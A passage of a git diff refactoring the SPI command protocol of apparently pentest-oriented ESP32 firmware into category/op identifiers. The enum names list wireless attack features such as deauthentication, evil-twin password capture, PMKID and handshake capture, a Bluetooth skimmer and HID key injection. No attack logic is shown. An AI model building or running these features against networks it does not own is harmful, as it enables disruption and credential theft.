SPI_ID_BT_SCREEN_INIT = 0x6C, - SPI_ID_BT_SCREEN_DEINIT = 0x6D, - SPI_ID_BT_SCREEN_IS_ACTIVE = 0x6E, - SPI_ID_BT_SCREEN_SEND_PARTIAL = 0x6F, - SPI_ID_BT_L2CAP_STATUS = 0x70, - SPI_ID_BT_HID_INIT = 0x71, - SPI_ID_BT_HID_DEINIT = 0x72, - SPI_ID_BT_HID_IS_CONNECTED = 0x73, - SPI_ID_BT_HID_SEND_KEY = 0x74, - - // LoRa (0x80 - 0x8F) - SPI_ID_LORA_RX = 0x80, - SPI_ID_LORA_TX = 0x81, - - // Meshtastic phone bridge (0x90 - 0x97) - SPI_ID_MESH_BLE_INIT = 0x90, - SPI_ID_MESH_BLE_STOP = 0x91, - SPI_ID_MESH_WIFI_INIT = 0x92, - SPI_ID_MESH_WIFI_STOP = 0x93, - SPI_ID_MESH_FROMRADIO_PUSH = 0x94, - SPI_ID_MESH_LOG_PUSH = 0x95, - SPI_ID_MESH_STATUS = 0x96, - SPI_ID_MESH_TORADIO_STREAM = 0x97, - - // MeshCore phone bridge (0x98 - 0x9C) - SPI_ID_MCORE_BLE_INIT = 0x98, - SPI_ID_MCORE_BLE_STOP = 0x99, - SPI_ID_MCORE_TX_PUSH = 0x9A, - SPI_ID_MCORE_RX_STREAM = 0x9B, - SPI_ID_MCORE_STATUS = 0x9C, + // System + SPI_ID_SYSTEM_PING = SPI_CMD(SPI_CAT_SYSTEM, 0x01), + SPI_ID_SYSTEM_STATUS = SPI_CMD(SPI_CAT_SYSTEM, 0x02), + SPI_ID_SYSTEM_REBOOT = SPI_CMD(SPI_CAT_SYSTEM, 0x03), + SPI_ID_SYSTEM_VERSION = SPI_CMD(SPI_CAT_SYSTEM, 0x04), + SPI_ID_SYSTEM_DATA = SPI_CMD(SPI_CAT_SYSTEM, 0x05), + SPI_ID_SYSTEM_STREAM = SPI_CMD(SPI_CAT_SYSTEM, 0x06), + + // WiFi Basic + SPI_ID_WIFI_SCAN = SPI_CMD(SPI_CAT_WIFI, 0x10), + SPI_ID_WIFI_CONNECT = SPI_CMD(SPI_CAT_WIFI, 0x11), + SPI_ID_WIFI_DISCONNECT = SPI_CMD(SPI_CAT_WIFI, 0x12), + SPI_ID_WIFI_GET_STA_INFO = SPI_CMD(SPI_CAT_WIFI, 0x13), + SPI_ID_WIFI_SET_AP = SPI_CMD(SPI_CAT_WIFI, 0x14), + SPI_ID_WIFI_START = SPI_CMD(SPI_CAT_WIFI, 0x15), + SPI_ID_WIFI_STOP = SPI_CMD(SPI_CAT_WIFI, 0x16), + SPI_ID_WIFI_SAVE_AP_CONFIG = SPI_CMD(SPI_CAT_WIFI, 0x17), + SPI_ID_WIFI_SET_ENABLED = SPI_CMD(SPI_CAT_WIFI, 0x18), + SPI_ID_WIFI_SET_AP_PASSWORD = SPI_CMD(SPI_CAT_WIFI, 0x19), + SPI_ID_WIFI_SET_AP_MAX_CONN = SPI_CMD(SPI_CAT_WIFI, 0x1A), + SPI_ID_WIFI_SET_AP_IP = SPI_CMD(SPI_CAT_WIFI, 0x1B), + SPI_ID_WIFI_PROMISC_START = SPI_CMD(SPI_CAT_WIFI, 0x1C), + SPI_ID_WIFI_PROMISC_STOP = SPI_CMD(SPI_CAT_WIFI, 0x1D), + SPI_ID_WIFI_CH_HOP_START = SPI_CMD(SPI_CAT_WIFI, 0x1E), + SPI_ID_WIFI_CH_HOP_STOP = SPI_CMD(SPI_CAT_WIFI, 0x1F), + + // WiFi Applications & Attacks + SPI_ID_WIFI_APP_SCAN_AP = SPI_CMD(SPI_CAT_WIFI, 0x20), + SPI_ID_WIFI_APP_SCAN_CLIENT = SPI_CMD(SPI_CAT_WIFI, 0x21), + SPI_ID_WIFI_APP_BEACON_SPAM = SPI_CMD(SPI_CAT_WIFI, 0x22), + SPI_ID_WIFI_APP_DEAUTHER = SPI_CMD(SPI_CAT_WIFI, 0x23), + SPI_ID_WIFI_APP_FLOOD = SPI_CMD(SPI_CAT_WIFI, 0x24), + SPI_ID_WIFI_APP_SNIFFER = SPI_CMD(SPI_CAT_WIFI, 0x25), + SPI_ID_WIFI_APP_EVIL_TWIN = SPI_CMD(SPI_CAT_WIFI, 0x26), + SPI_ID_WIFI_APP_DEAUTH_DET = SPI_CMD(SPI_CAT_WIFI, 0x27), + SPI_ID_WIFI_APP_PROBE_MON = SPI_CMD(SPI_CAT_WIFI, 0x28), + SPI_ID_WIFI_APP_SIGNAL_MON = SPI_CMD(SPI_CAT_WIFI, 0x29), + SPI_ID_WIFI_SNIFFER_SET_SNAPLEN = SPI_CMD(SPI_CAT_WIFI, 0x2B), + SPI_ID_WIFI_SNIFFER_SET_VERBOSE = SPI_CMD(SPI_CAT_WIFI, 0x2C), + SPI_ID_WIFI_SNIFFER_SAVE_FLASH = SPI_CMD(SPI_CAT_WIFI, 0x2D), + SPI_ID_WIFI_SNIFFER_SAVE_SD = SPI_CMD(SPI_CAT_WIFI, 0x2E), + SPI_ID_WIFI_SNIFFER_FREE_BUFFER = SPI_CMD(SPI_CAT_WIFI, 0x2F), + SPI_ID_WIFI_SNIFFER_STREAM_SD = SPI_CMD(SPI_CAT_WIFI, 0x30), + SPI_ID_WIFI_SNIFFER_CLEAR_PMKID = SPI_CMD(SPI_CAT_WIFI, 0x31), + SPI_ID_WIFI_SNIFFER_GET_PMKID_BSSID = SPI_CMD(SPI_CAT_WIFI, 0x32), + SPI_ID_WIFI_SNIFFER_CLEAR_HANDSHAKE = SPI_CMD(SPI_CAT_WIFI, 0x33), + SPI_ID_WIFI_SNIFFER_GET_HANDSHAKE_BSSID = SPI_CMD(SPI_CAT_WIFI, 0x34), + SPI_ID_WIFI_DEAUTH_STATUS = SPI_CMD(SPI_CAT_WIFI, 0x35), + SPI_ID_WIFI_DEAUTH_SEND_RAW = SPI_CMD(SPI_CAT_WIFI, 0x36), + SPI_ID_WIFI_ASSOC_REQUEST = SPI_CMD(SPI_CAT_WIFI, 0x37), + SPI_ID_WIFI_DEAUTH_SEND_FRAME = SPI_CMD(SPI_CAT_WIFI, 0x38), + SPI_ID_WIFI_DEAUTH_SEND_BROADCAST = SPI_CMD(SPI_CAT_WIFI, 0x39), + SPI_ID_WIFI_TARGET_SCAN_START = SPI_CMD(SPI_CAT_WIFI, 0x3A), + SPI_ID_WIFI_TARGET_SCAN_STATUS = SPI_CMD(SPI_CAT_WIFI, 0x3B), + SPI_ID_WIFI_TARGET_SAVE_FLASH = SPI_CMD(SPI_CAT_WIFI, 0x3C), + SPI_ID_WIFI_TARGET_SAVE_SD = SPI_CMD(SPI_CAT_WIFI, 0x3D), + SPI_ID_WIFI_TARGET_FREE = SPI_CMD(SPI_CAT_WIFI, 0x3E), + SPI_ID_WIFI_PROBE_SAVE_FLASH = SPI_CMD(SPI_CAT_WIFI, 0x3F), + SPI_ID_WIFI_PROBE_SAVE_SD = SPI_CMD(SPI_CAT_WIFI, 0x40), + SPI_ID_WIFI_EVIL_TWIN_TEMPLATE = SPI_CMD(SPI_CAT_WIFI, 0x41), + SPI_ID_WIFI_EVIL_TWIN_HAS_PASSWORD = SPI_CMD(SPI_CAT_WIFI, 0x42), + SPI_ID_WIFI_EVIL_TWIN_GET_PASSWORD = SPI_CMD(SPI_CAT_WIFI, 0x43), + SPI_ID_WIFI_EVIL_TWIN_RESET_CAPTURE = SPI_CMD(SPI_CAT_WIFI, 0x44), + SPI_ID_WIFI_CLIENT_SAVE_FLASH = SPI_CMD(SPI_CAT_WIFI, 0x45), + SPI_ID_WIFI_CLIENT_SAVE_SD = SPI_CMD(SPI_CAT_WIFI, 0x46), + SPI_ID_WIFI_AP_SAVE_FLASH = SPI_CMD(SPI_CAT_WIFI, 0x47), + SPI_ID_WIFI_AP_SAVE_SD = SPI_CMD(SPI_CAT_WIFI, 0x48), + SPI_ID_WIFI_EVIL_TWIN_TMPL_BEGIN = SPI_CMD(SPI_CAT_WIFI, 0xA0), + SPI_ID_WIFI_EVIL_TWIN_TMPL_CHUNK = SPI_CMD(SPI_CAT_WIFI, 0xA1), + + // Bluetooth Basic + SPI_ID_BT_SCAN = SPI_CMD(SPI_CAT_BT, 0x50), + SPI_ID_BT_CONNECT = SPI_CMD(SPI_CAT_BT, 0x51), + SPI_ID_BT_DISCONNECT = SPI_CMD(SPI_CAT_BT, 0x52), + SPI_ID_BT_GET_INFO = SPI_CMD(SPI_CAT_BT, 0x53), + SPI_ID_BT_INIT = SPI_CMD(SPI_CAT_BT, 0x54), + SPI_ID_BT_DEINIT = SPI_CMD(SPI_CAT_BT, 0x55), + SPI_ID_BT_START = SPI_CMD(SPI_CAT_BT, 0x56), + SPI_ID_BT_STOP = SPI_CMD(SPI_CAT_BT, 0x57), + SPI_ID_BT_SET_RANDOM_MAC = SPI_CMD(SPI_CAT_BT, 0x58), + SPI_ID_BT_START_ADV = SPI_CMD(SPI_CAT_BT, 0x59), + SPI_ID_BT_STOP_ADV = SPI_CMD(SPI_CAT_BT, 0x5A), + SPI_ID_BT_SET_MAX_POWER = SPI_CMD(SPI_CAT_BT, 0x5B), + SPI_ID_BT_TRACKER_START = SPI_CMD(SPI_CAT_BT, 0x5C), + SPI_ID_BT_TRACKER_STOP = SPI_CMD(SPI_CAT_BT, 0x5D), + SPI_ID_BT_GET_ADDR_TYPE = SPI_CMD(SPI_CAT_BT, 0x5E), + SPI_ID_BT_SAVE_ANNOUNCE_CFG = SPI_CMD(SPI_CAT_BT, 0x5F), + + // Bluetooth Apps & Attacks + SPI_ID_BT_APP_SCANNER = SPI_CMD(SPI_CAT_BT, 0x60), + SPI_ID_BT_APP_SNIFFER = SPI_CMD(SPI_CAT_BT, 0x61), + SPI_ID_BT_APP_SPAM = SPI_CMD(SPI_CAT_BT, 0x62), + SPI_ID_BT_APP_FLOOD = SPI_CMD(SPI_CAT_BT, 0x63), + SPI_ID_BT_APP_SKIMMER = SPI_CMD(SPI_CAT_BT, 0x64), + SPI_ID_BT_APP_TRACKER = SPI_CMD(SPI_CAT_BT, 0x65), + SPI_ID_BT_APP_GATT_EXP = SPI_CMD(SPI_CAT_BT, 0x66), + SPI_ID_BT_SPAM_LIST_LOAD = SPI_CMD(SPI_CAT_BT, 0x68), + SPI_ID_BT_SPAM_LIST_BEGIN = SPI_CMD(SPI_CAT_BT, 0x69), + SPI_ID_BT_SPAM_LIST_ITEM = SPI_CMD(SPI_CAT_BT, 0x6A), + SPI_ID_BT_SPAM_LIST_COMMIT = SPI_CMD(SPI_CAT_BT, 0x6B), + SPI_ID_BT_SCREEN_INIT = SPI_CMD(SPI_CAT_BT, 0x6C), + SPI_ID_BT_SCREEN_DEINIT = SPI_CMD(SPI_CAT_BT, 0x6D), + SPI_ID_BT_SCREEN_IS_ACTIVE = SPI_CMD(SPI_CAT_BT, 0x6E), + SPI_ID_BT_SCREEN_SEND_PARTIAL = SPI_CMD(SPI_CAT_BT, 0x6F), + SPI_ID_BT_L2CAP_STATUS = SPI_CMD(SPI_CAT_BT, 0x70), + SPI_ID_BT_HID_INIT = SPI_CMD(SPI_CAT_BT, 0x71), + SPI_ID_BT_HID_DEINIT = SPI_CMD(SPI_CAT_BT, 0x72), + SPI_ID_BT_HID_IS_CONNECTED = SPI_CMD(SPI_CAT_BT, 0x73), + SPI_ID_BT_HID_SEND_KEY = SPI_CMD(SPI_CAT_BT, 0x74), + + // LoRa + SPI_ID_LORA_RX = SPI_CMD(SPI_CAT_LORA, 0x80), + SPI_ID_LORA_TX = SPI_CMD(SPI_CAT_LORA, 0x81), + + // Meshtastic phone bridge + SPI_ID_MESH_BLE_INIT = SPI_CMD(SPI_CAT_MESH, 0x90), + SPI_ID_MESH_BLE_STOP = SPI_CMD(SPI_CAT_MESH, 0x91), + SPI_ID_MESH_WIFI_INIT = SPI_CMD(SPI_CAT_MESH, 0x92), + SPI_ID_MESH_WIFI_STOP = SPI_CMD(SPI_CAT_MESH, 0x93), + SPI_ID_MESH_FROMRADIO_PUSH = SPI_CMD(SPI_CAT_MESH, 0x94), + SPI_ID_MESH_LOG_PUSH = SPI_CMD(SPI_CAT_MESH, 0x95), + SPI_ID_MESH_STATUS = SPI_CMD(SPI_CAT_MESH, 0x96), + SPI_ID_MESH_TORADIO_STREAM = SPI_CMD(SPI_CAT_MESH, 0x97), + + // MeshCore phone bridge + SPI_ID_MCORE_BLE_INIT = SPI_CMD(SPI_CAT_MCORE, 0x98), + SPI_ID_MCORE_BLE_STOP = SPI_CMD(SPI_CAT_MCORE, 0x99), + SPI_ID_MCORE_TX_PUSH = SPI_CMD(SPI_CAT_MCORE, 0x9A), + SPI_ID_MCORE_RX_STREAM = SPI_CMD(SPI_CAT_MCORE, 0x9B), + SPI_ID_MCORE_STATUS = SPI_CMD(SPI_CAT_MCORE, 0x9C), // Session lifecycle (long-running operations) - SPI_ID_SESSION_HEARTBEAT = 0xF0, - SPI_ID_SESSION_LOST = 0xF1, - SPI_ID_SESSION_STOP = 0xF2 + SPI_ID_SESSION_HEARTBEAT = SPI_CMD(SPI_CAT_SESSION, 0xF0), + SPI_ID_SESSION_LOST = SPI_CMD(SPI_CAT_SESSION, 0xF1), + SPI_ID_SESSION_STOP = SPI_CMD(SPI_CAT_SESSION, 0xF2) } spi_id_t; /** @@ -193,15 +219,27 @@ typedef enum { } spi_status_t; /** - * @brief SPI frame header (4 bytes). + * @brief SPI frame header (5 bytes). */ typedef struct { uint8_t sync; - uint8_t type; // spi_type_t - uint8_t id; // spi_id_t - uint8_t length; // Payload length + uint8_t type; // spi_type_t + uint8_t category; // spi_cat_t + uint8_t op; // operation within the category + uint8_t length; // Payload length } spi_header_t; +/** Read the packed command identifier (spi_id_t) from a header. */ +static inline uint16_t spi_header_cmd(const spi_header_t *h) { + return SPI_CMD(h->category, h->op); +} + +/** Write a packed command identifier (spi_id_t) into a header. */ +static inline void spi_header_set_cmd(spi_header_t *h, uint16_t cmd) { + h->category = SPI_CMD_CAT(cmd); + h->op = SPI_CMD_OP(cmd); +} + #define SPI_FRAME_SIZE (sizeof(spi_header_t) + SPI_MAX_PAYLOAD) // Session protocol — see spi_bridge/README.md "Session Lifecycle" @@ -239,7 +277,7 @@ typedef struct __attribute__((packed)) { /** Stream emitted by C5 when a session is auto-killed by the watchdog. */ typedef struct __attribute__((packed)) { uint32_t session_id; - uint8_t op_id; + uint16_t cmd; // spi_id_t of the lost operation } spi_session_lost_t; /** diff --git a/firmware_c5/components/Service/spi_bridge/session_manager.c b/firmware_c5/components/Service/spi_bridge/session_manager.c index 99a9ab118..cb66b336e 100644 --- a/firmware_c5/components/Service/spi_bridge/session_manager.c +++ b/firmware_c5/components/Service/spi_bridge/session_manager.c @@ -61,7 +61,7 @@ static void close_active_locked(const char *reason) { return; ESP_LOGW(TAG, - "Closing session 0x%08lx (op 0x%02X): %s", + "Closing session 0x%08lx (op 0x%04X): %s", (unsigned long)s_session.id, s_session.op_id, reason); @@ -81,7 +81,7 @@ static void close_active_locked(const char *reason) { } static void emit_session_lost(uint32_t session_id, spi_id_t op_id) { - spi_session_lost_t payload = {.session_id = session_id, .op_id = (uint8_t)op_id}; + spi_session_lost_t payload = {.session_id = session_id, .cmd = (uint16_t)op_id}; spi_bridge_stream_push(SPI_ID_SESSION_LOST, (const uint8_t *)&payload, sizeof(payload)); } @@ -135,7 +135,7 @@ uint32_t session_manager_start(spi_id_t op_id, session_kill_cb_t kill_cb) { uint32_t id = s_session.id; xSemaphoreGive(s_mutex); - ESP_LOGI(TAG, "Session 0x%08lx opened for op 0x%02X", (unsigned long)id, op_id); + ESP_LOGI(TAG, "Session 0x%08lx opened for op 0x%04X", (unsigned long)id, op_id); return id; } diff --git a/firmware_c5/components/Service/spi_bridge/spi_bridge.c b/firmware_c5/components/Service/spi_bridge/spi_bridge.c index f3a9c18d6..8d4eaad9a 100644 --- a/firmware_c5/components/Service/spi_bridge/spi_bridge.c +++ b/firmware_c5/components/Service/spi_bridge/spi_bridge.c @@ -41,20 +41,8 @@ static const char *TAG = "SPI_BRIDGE_C5"; #define SPI_BRIDGE_TASK_PRIO 10 #define SPI_IRQ_PULSE_MS 1 #define SPI_RESTART_DELAY_MS 50 -#define SPI_WIFI_CMD_MIN 0x10 -#define SPI_WIFI_CMD_MAX 0x4F -#define SPI_BT_CMD_MIN 0x50 -#define SPI_BT_CMD_MAX 0x7F -#define SPI_MESH_BT_CMD_MIN 0x90 -#define SPI_MESH_BT_CMD_MAX 0x91 -#define SPI_MESH_WIFI_CMD_MIN 0x92 -#define SPI_MESH_WIFI_CMD_MAX 0x93 -#define SPI_MESH_BT_DATA_MIN 0x94 -#define SPI_MESH_BT_DATA_MAX 0x96 -#define SPI_MCORE_CMD_MIN 0x98 -#define SPI_MCORE_CMD_MAX 0x9C #define SPI_FW_VERSION_LEN 32 -#define SPI_FW_VERSION_STRING "1.2.0" +#define SPI_FW_VERSION_STRING "1.3.0" typedef struct { spi_id_t id; @@ -211,106 +199,126 @@ static void bridge_task(void *pvParameters) { uint8_t resp_payload[SPI_MAX_PAYLOAD]; uint8_t resp_len = 0; - if (header->id == SPI_ID_SYSTEM_PING) { - status = SPI_STATUS_OK; - } else if (header->id == SPI_ID_SYSTEM_REBOOT) { - status = SPI_STATUS_OK; - s_is_restart_pending = true; - } else if (header->id == SPI_ID_SYSTEM_VERSION) { - if (strcmp(s_firmware_version, "unknown") == 0) - load_firmware_version(); - size_t ver_len = strlen(s_firmware_version); - if (ver_len > (SPI_MAX_PAYLOAD - SPI_RESP_STATUS_SIZE)) - ver_len = (SPI_MAX_PAYLOAD - SPI_RESP_STATUS_SIZE); - memcpy(resp_payload, s_firmware_version, ver_len); - resp_len = (uint8_t)ver_len; - status = SPI_STATUS_OK; - } else if (header->id == SPI_ID_SYSTEM_STATUS) { - spi_system_status_t sys = {.wifi_active = wifi_service_is_active() ? 1 : 0, - .wifi_connected = wifi_service_is_connected() ? 1 : 0, - .bt_running = bluetooth_service_is_running() ? 1 : 0, - .bt_initialized = bluetooth_service_is_initialized() ? 1 : 0}; - memcpy(resp_payload, &sys, sizeof(sys)); - resp_len = sizeof(sys); - status = SPI_STATUS_OK; - } else if (header->id == SPI_ID_SYSTEM_DATA) { - uint16_t index; - memcpy(&index, rx_buf + sizeof(spi_header_t), sizeof(index)); - uint16_t item_count = s_item_count_ptr != NULL ? *s_item_count_ptr : s_item_count; - - if (index == SPI_DATA_INDEX_COUNT) { - memcpy(resp_payload, &item_count, sizeof(item_count)); - resp_len = sizeof(item_count); - } else if (index == SPI_DATA_INDEX_STATS) { - spi_sniffer_stats_t stats = {.packets = wifi_sniffer_get_packet_count(), - .deauths = wifi_sniffer_get_deauth_count(), - .buffer_usage = wifi_sniffer_get_buffer_usage(), - .signal_rssi = signal_monitor_get_rssi(), - .handshake_captured = wifi_sniffer_handshake_captured(), - .pmkid_captured = wifi_sniffer_pmkid_captured()}; - memcpy(resp_payload, &stats, sizeof(stats)); - resp_len = sizeof(stats); - } else if (index == SPI_DATA_INDEX_DEAUTH_COUNT) { - uint32_t deauth_count = deauther_detector_get_count(); - memcpy(resp_payload, &deauth_count, sizeof(deauth_count)); - resp_len = sizeof(deauth_count); - } else if (s_data_source != NULL && index < item_count) { - memcpy(resp_payload, (uint8_t *)s_data_source + (index * s_item_size), s_item_size); - resp_len = s_item_size; - } else { - status = SPI_STATUS_ERROR; - } - } else if (header->id == SPI_ID_SYSTEM_STREAM) { - spi_id_t stream_id = 0; - uint8_t stream_len = 0; - if (stream_pop(&stream_id, resp_payload, &stream_len)) { - spi_header_t stream_header = { - .sync = SPI_SYNC_BYTE, .type = SPI_TYPE_STREAM, .id = stream_id, .length = stream_len}; - memset(tx_buf, 0, sizeof(tx_buf)); - memcpy(tx_buf, &stream_header, sizeof(stream_header)); - if (stream_len > 0) - memcpy(tx_buf + sizeof(stream_header), resp_payload, stream_len); - - spi_bridge_notify_master(); - spi_slave_driver_transmit(tx_buf, NULL, SPI_FRAME_SIZE); - if (s_is_restart_pending) { - vTaskDelay(pdMS_TO_TICKS(SPI_RESTART_DELAY_MS)); - esp_restart(); + uint16_t cmd = spi_header_cmd(header); + const uint8_t *cmd_payload = rx_buf + sizeof(spi_header_t); + + switch (header->category) { + case SPI_CAT_SYSTEM: + if (cmd == SPI_ID_SYSTEM_PING) { + status = SPI_STATUS_OK; + } else if (cmd == SPI_ID_SYSTEM_REBOOT) { + status = SPI_STATUS_OK; + s_is_restart_pending = true; + } else if (cmd == SPI_ID_SYSTEM_VERSION) { + if (strcmp(s_firmware_version, "unknown") == 0) + load_firmware_version(); + size_t ver_len = strlen(s_firmware_version); + if (ver_len > (SPI_MAX_PAYLOAD - SPI_RESP_STATUS_SIZE)) + ver_len = (SPI_MAX_PAYLOAD - SPI_RESP_STATUS_SIZE); + memcpy(resp_payload, s_firmware_version, ver_len); + resp_len = (uint8_t)ver_len; + status = SPI_STATUS_OK; + } else if (cmd == SPI_ID_SYSTEM_STATUS) { + spi_system_status_t sys = {.wifi_active = wifi_service_is_active() ? 1 : 0, + .wifi_connected = wifi_service_is_connected() ? 1 : 0, + .bt_running = bluetooth_service_is_running() ? 1 : 0, + .bt_initialized = bluetooth_service_is_initialized() ? 1 : 0}; + memcpy(resp_payload, &sys, sizeof(sys)); + resp_len = sizeof(sys); + status = SPI_STATUS_OK; + } else if (cmd == SPI_ID_SYSTEM_DATA) { + uint16_t index; + memcpy(&index, cmd_payload, sizeof(index)); + uint16_t item_count = s_item_count_ptr != NULL ? *s_item_count_ptr : s_item_count; + + if (index == SPI_DATA_INDEX_COUNT) { + memcpy(resp_payload, &item_count, sizeof(item_count)); + resp_len = sizeof(item_count); + } else if (index == SPI_DATA_INDEX_STATS) { + spi_sniffer_stats_t stats = {.packets = wifi_sniffer_get_packet_count(), + .deauths = wifi_sniffer_get_deauth_count(), + .buffer_usage = wifi_sniffer_get_buffer_usage(), + .signal_rssi = signal_monitor_get_rssi(), + .handshake_captured = wifi_sniffer_handshake_captured(), + .pmkid_captured = wifi_sniffer_pmkid_captured()}; + memcpy(resp_payload, &stats, sizeof(stats)); + resp_len = sizeof(stats); + } else if (index == SPI_DATA_INDEX_DEAUTH_COUNT) { + uint32_t deauth_count = deauther_detector_get_count(); + memcpy(resp_payload, &deauth_count, sizeof(deauth_count)); + resp_len = sizeof(deauth_count); + } else if (s_data_source != NULL && index < item_count) { + memcpy(resp_payload, (uint8_t *)s_data_source + (index * s_item_size), s_item_size); + resp_len = s_item_size; + } else { + status = SPI_STATUS_ERROR; + } + } else if (cmd == SPI_ID_SYSTEM_STREAM) { + spi_id_t stream_id = 0; + uint8_t stream_len = 0; + if (stream_pop(&stream_id, resp_payload, &stream_len)) { + spi_header_t stream_header = {.sync = SPI_SYNC_BYTE, + .type = SPI_TYPE_STREAM, + .category = SPI_CMD_CAT(stream_id), + .op = SPI_CMD_OP(stream_id), + .length = stream_len}; + memset(tx_buf, 0, sizeof(tx_buf)); + memcpy(tx_buf, &stream_header, sizeof(stream_header)); + if (stream_len > 0) + memcpy(tx_buf + sizeof(stream_header), resp_payload, stream_len); + + spi_bridge_notify_master(); + spi_slave_driver_transmit(tx_buf, NULL, SPI_FRAME_SIZE); + if (s_is_restart_pending) { + vTaskDelay(pdMS_TO_TICKS(SPI_RESTART_DELAY_MS)); + esp_restart(); + } + continue; + } + status = SPI_STATUS_BUSY; + } else { + status = SPI_STATUS_UNSUPPORTED; } - continue; - } - status = SPI_STATUS_BUSY; - } else if (header->id == SPI_ID_SESSION_HEARTBEAT) { - spi_heartbeat_req_t req = {0}; - memcpy(&req, rx_buf + sizeof(spi_header_t), sizeof(req)); - bool alive = session_manager_heartbeat(req.session_id, req.last_acked_seq); - spi_heartbeat_resp_t resp = {.alive = alive ? (uint8_t)1 : (uint8_t)0}; - memcpy(resp_payload, &resp, sizeof(resp)); - resp_len = sizeof(resp); - status = SPI_STATUS_OK; - } else if (header->id == SPI_ID_SESSION_STOP) { - spi_session_stop_req_t req = {0}; - memcpy(&req, rx_buf + sizeof(spi_header_t), sizeof(req)); - esp_err_t r = session_manager_stop(req.session_id); - status = (r == ESP_OK) ? SPI_STATUS_OK : SPI_STATUS_ERROR; - } else if (header->id >= SPI_WIFI_CMD_MIN && header->id <= SPI_WIFI_CMD_MAX) { - status = wifi_dispatcher_execute( - header->id, rx_buf + sizeof(spi_header_t), header->length, resp_payload, &resp_len); - } else if (header->id >= SPI_BT_CMD_MIN && header->id <= SPI_BT_CMD_MAX) { - status = bt_dispatcher_execute( - header->id, rx_buf + sizeof(spi_header_t), header->length, resp_payload, &resp_len); - } else if ((header->id >= SPI_MESH_BT_CMD_MIN && header->id <= SPI_MESH_BT_CMD_MAX) || - (header->id >= SPI_MESH_BT_DATA_MIN && header->id <= SPI_MESH_BT_DATA_MAX)) { - status = bt_dispatcher_execute( - header->id, rx_buf + sizeof(spi_header_t), header->length, resp_payload, &resp_len); - } else if (header->id >= SPI_MCORE_CMD_MIN && header->id <= SPI_MCORE_CMD_MAX) { - status = bt_dispatcher_execute( - header->id, rx_buf + sizeof(spi_header_t), header->length, resp_payload, &resp_len); - } else if (header->id >= SPI_MESH_WIFI_CMD_MIN && header->id <= SPI_MESH_WIFI_CMD_MAX) { - status = wifi_dispatcher_execute( - header->id, rx_buf + sizeof(spi_header_t), header->length, resp_payload, &resp_len); - } else { - status = SPI_STATUS_UNSUPPORTED; + break; + case SPI_CAT_SESSION: + if (cmd == SPI_ID_SESSION_HEARTBEAT) { + spi_heartbeat_req_t req = {0}; + memcpy(&req, cmd_payload, sizeof(req)); + bool alive = session_manager_heartbeat(req.session_id, req.last_acked_seq); + spi_heartbeat_resp_t resp = {.alive = alive ? (uint8_t)1 : (uint8_t)0}; + memcpy(resp_payload, &resp, sizeof(resp)); + resp_len = sizeof(resp); + status = SPI_STATUS_OK; + } else if (cmd == SPI_ID_SESSION_STOP) { + spi_session_stop_req_t req = {0}; + memcpy(&req, cmd_payload, sizeof(req)); + esp_err_t r = session_manager_stop(req.session_id); + status = (r == ESP_OK) ? SPI_STATUS_OK : SPI_STATUS_ERROR; + } else { + status = SPI_STATUS_UNSUPPORTED; + } + break; + case SPI_CAT_WIFI: + status = wifi_dispatcher_execute(cmd, cmd_payload, header->length, resp_payload, &resp_len); + break; + case SPI_CAT_BT: + case SPI_CAT_MCORE: + status = bt_dispatcher_execute(cmd, cmd_payload, header->length, resp_payload, &resp_len); + break; + case SPI_CAT_MESH: + // Meshtastic is split across dispatchers by transport: the WiFi + // transport ops live in the WiFi dispatcher, the rest (BLE, fromradio, + // log, status) in the BT dispatcher. + if (cmd == SPI_ID_MESH_WIFI_INIT || cmd == SPI_ID_MESH_WIFI_STOP) { + status = + wifi_dispatcher_execute(cmd, cmd_payload, header->length, resp_payload, &resp_len); + } else { + status = bt_dispatcher_execute(cmd, cmd_payload, header->length, resp_payload, &resp_len); + } + break; + default: + status = SPI_STATUS_UNSUPPORTED; + break; } if (resp_len > (SPI_MAX_PAYLOAD - SPI_RESP_STATUS_SIZE)) { @@ -320,7 +328,8 @@ static void bridge_task(void *pvParameters) { spi_header_t resp_header = {.sync = SPI_SYNC_BYTE, .type = SPI_TYPE_RESP, - .id = header->id, + .category = header->category, + .op = header->op, .length = (uint8_t)(resp_len + SPI_RESP_STATUS_SIZE)}; memset(tx_buf, 0, sizeof(tx_buf)); memcpy(tx_buf, &resp_header, sizeof(resp_header)); diff --git a/firmware_p4/components/Service/ota/include/ota_version.h b/firmware_p4/components/Service/ota/include/ota_version.h index 7d0ad3d1e..453c9f735 100644 --- a/firmware_p4/components/Service/ota/include/ota_version.h +++ b/firmware_p4/components/Service/ota/include/ota_version.h @@ -20,7 +20,7 @@ extern "C" { #endif -#define FIRMWARE_VERSION "1.1.0" +#define FIRMWARE_VERSION "1.3.0" #ifdef __cplusplus } diff --git a/firmware_p4/components/Service/spi_bridge/README.md b/firmware_p4/components/Service/spi_bridge/README.md index cb327f617..77b3118a0 100644 --- a/firmware_p4/components/Service/spi_bridge/README.md +++ b/firmware_p4/components/Service/spi_bridge/README.md @@ -10,12 +10,18 @@ The P4 acts as the **SPI Master**. It is responsible for: 4. Managing the C5 lifecycle (Reset, Boot mode, and Firmware Updates via UART). ## Protocol Specification -Every packet follows a 4-byte fixed header: +Every packet follows a 5-byte fixed header: - `Sync (0xAA)`: Packet synchronization. - `Type`: `0x01` (Command), `0x02` (Response), `0x03` (Stream). -- `ID`: Function identifier (defined in `spi_protocol.h`). +- `Category`: Subsystem selector (`spi_cat_t`: WiFi `0x01`, BT `0x02`, …). The C5 + routes a command to a dispatcher by this byte alone. +- `Op`: Operation within the category. - `Length`: Size of the following payload (0-255 bytes). +`Category` + `Op` together form the packed command identifier (`spi_id_t`), +built via `SPI_CMD(cat, op)`. Use `spi_header_cmd()` / `spi_header_set_cmd()` to +read/write the pair as a single 16-bit value. + ## Generic Data Pipe To keep the bridge simple, we use a "Dumb Pipe" approach for large data sets (like Scan results): 1. **Pull Count**: Call `SPI_ID_SYSTEM_DATA` with index `0xFFFF`. @@ -77,7 +83,7 @@ Drops are counted and logged. | C5 → P4 | heartbeat reply | status + `spi_heartbeat_resp_t { alive }` | | C5 → P4 | data | `op_id` STREAM + `spi_stream_meta_t { session_id, seq }` + payload | | P4 → C5 | STOP | `SPI_ID_SESSION_STOP` + `spi_session_stop_req_t { session_id }` | -| C5 → P4 | watchdog kill | `SPI_ID_SESSION_LOST` STREAM + `spi_session_lost_t { session_id, op_id }` | +| C5 → P4 | watchdog kill | `SPI_ID_SESSION_LOST` STREAM + `spi_session_lost_t { session_id, cmd }` | ### Master API diff --git a/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h b/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h index 